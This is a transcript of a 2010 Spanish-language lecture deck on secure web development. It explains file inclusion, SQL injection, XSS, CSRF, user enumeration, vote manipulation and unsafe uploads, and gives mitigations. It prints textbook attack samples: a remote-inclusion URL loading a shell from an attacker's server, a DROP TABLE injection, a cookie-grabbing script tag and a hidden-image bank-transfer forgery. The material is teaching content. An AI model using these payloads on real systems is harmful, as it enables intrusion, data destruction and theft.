Desarrollo Web Seguro - Seguridad en Programación
-
Upload
martin-aberastegue -
Category
Software
-
view
829 -
download
0
Transcript of Desarrollo Web Seguro - Seguridad en Programación
Desarrollo web Seguro
Martín Aberastegue
29 de Octubre de 2010
Programación 4
Amenazas mas comunes
• Inclusión Remota/Local de archivos (RFI/LFI)
• SQL Injection
• Cross Site Scripting (XSS)
• Cross-Site Request Forgery (CSRF)
• Enumeración de Usuarios
• Sistemas de votaciones
• Subida de archivos (falta control de extensiones y tipos)
Remote/Local file inclusion
Este tipo de vulnerabilidades permite a un atacan incluir archivos arbitrariamente, tanto local como remotamente, debido a la falta de validación de los datos ingresados.
index.php
<?include($seccion);
?>
http://[servidor_victima]/index.php?seccion=http://[servidor_atacante]/shell.txt&&cmd=ls
shell.txt
<?system($cmd);
?>
http://[servidor_victima]/index.php?seccion=contacto.php
Remote/Local file inclusion
• Banco Patagonia– RRHH con más de 30,000 postulantes
– Demoraron 11 meses en repararlo
SQL Injection
• Ejemplo:
• El pequeño Bobby Tables
La inyección de código SQL es una vulnerabilidad que consiste en el aprovechamiento de la falta de validación y filtrado de las variables utilizadas en una consulta SQL.
$query_result = mysql_query("SELECT * FROM usuarios WHERE nombre = '" . $nombre_usuario . "'");SELECT * FROM usuarios WHERE nombre = 'Jorge';SELECT * FROM usuarios WHERE nombre = 'Jorge';DROP TABLE usuarios;SELECT * FROM datos WHERE 'A' = 'A';
$query_result = mysql_query("SELECT * FROM usuarios WHERE nombre = '" . mysql_real_escape_string($nombre_usuario) . "'");SELECT * FROM usuarios WHERE nombre = 'Alicia\';\nDROP TABLE usuarios;\nSELECT * FROM datos WHERE \'-\' = \'-';
SQL Injection
• Pasa en las mejores familias… o bancos
SQL Injection & XSS en RedLink (Home Banking)
Afecto a 33 entidades bancarias (2004)
• Banco Columbia• Banco de Córdoba• Banco de Corrientes• Banco de Formosa• Banco de la Ciudad de Buenos Aires• Banco de la Nación Argentina• Banco de la Pampa• Banco de la Provincia de Buenos Aires• Banco de la Provincia del Neuquén• Banco de San Juan• Banco de Tierra del Fuego• Banco del Chubut• Banco del Tucumán• Banco Finansur• Banco Hipotecario• Banco Industrial
• Banco Macro Bansud• Banco Mariva• Banco Municipal de la Plata• Banco Municipal de Rosario• Banco Privado• Banco Sáenz• Banco Santa Cruz• Banco Santiago del Estero• BNP Paribas• Credimas• Italcred• Masventas Cia. Financiera• Nuevo Banco de Entre Rios• Nuevo Banco de La Rioja• Nuevo Banco de Santa Fe• Nuevo Banco del Chaco• Sadela Cia. Financiera
SQL Injection
• Pasa en las mejores familias… o bancos
SQL Injection & datos por defecto en admin del CMS de Banco XXXX (2007)
Cross Site Scripting (XSS)
Es un error que consiste en la falta de validación por parte de la aplicación de los valores pasados a las variables, por lo que si estas son mostradas en pantalla sin ningún tipo de filtro las mismas podrían ejecutar código HTML/JS/etc.
Esta vulnerabilidad usualmente es considerada de bajo impacto, pero puede ser muy peligrosa también dependiendo del enfoque del atacante.
Una forma de evitar esto es haciendo uso de la función htmlentities()
Ejemplo:
http://www.victima.com/buscar.php?s=texto+buscado
http://www.victima.com/buscar.php?s="><script>alert(document.cookie);<script>
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
Cross-Site Request Forgery (CSRF)
POST http://banco.com.ar/transferir.php HTTP/1.1......Content-Length: 24;
destino=Carlos&monto=500
<img src="http://banco.com.ar/transferir.php?destino=Martin&monto=5000" width="1" height="1" border="0">
GET http://banco.com.ar/transferir.php?destino=Carlos&monto=500 HTTP/1.1
CRSF fue un termino acuñado por Peter Watkins en el año 2001, pero el primer reporte de esta vulnerabilidad se dio a conocer en 2000.
La mejor forma de entenderlo es con un ejemplo, y resumiendo esta vulnerabilidad le permitiría a un atacante ejecutar comandos en un sitio determinado (A) cuando la victima ingresa al sitio (B), debido a una falta de comprobación del origen de los datos por parte de (A).
Ejemplo:
Una forma de tratar de contrarrestar este tipo de ataques es haciendo uso de tokens asociados a la sesión activa del usuario.
Enumeración de Usuarios
El usuario no existe El usuario existe
Sistemas de Votaciones
• Big Idea Chair (Yahoo!) Solos realiza control por cookie.
http://www.bigideachair.com.ar/shortlist2010/shortlist_caso01.php
• Hugo Create (Hugo Boss)Control por cookie e IP mal implementado haciendo uso de AJAX.
http://www.hugocreate.com/common/php/rpc.php?j=1&q=36119&t=187.219.197.188
Los sistemas de votaciones también suelen ser objetivo de ataques y muchas veces no se realizan buenos controles por lo que los resultados de las mismas podrían ser fácilmente influenciados.
Subida de Archivos
Aquí el problema radica en que muchas veces no se aplican buenos filtros a los archivos a subir, tanto en tamaño, tipo o extensión; lo que brinda la posibilidad a un atacante de subir su propio código a nuestro servidor y ejecutarlo pudiendo así ganar acceso a los archivos de nuestro sitio.
.htaccess
<Files ^(*.jpeg|*.jpg|*.png|*.gif)>order deny,allowdeny from all
</Files>AddType text/plain .plAddType text/plain .cgiAddType text/plain .php
No permitir la ejecución de archivos donde no se deba.
Los casos mas comunes se dan en los sitios que permiten a los usuarios subir sus propias imágenes, avatares o documentos.
Consejos
• ¡Las claves no se guardan en texto plano!
• Enviar información sensible cifrada
• Utilizar tokens asociados a la sesión del usuario
• No utilizar nombres de archivos muy obvios en secciones privadas o de acceso restringido.
• Usar el sentido común
¿Preguntas?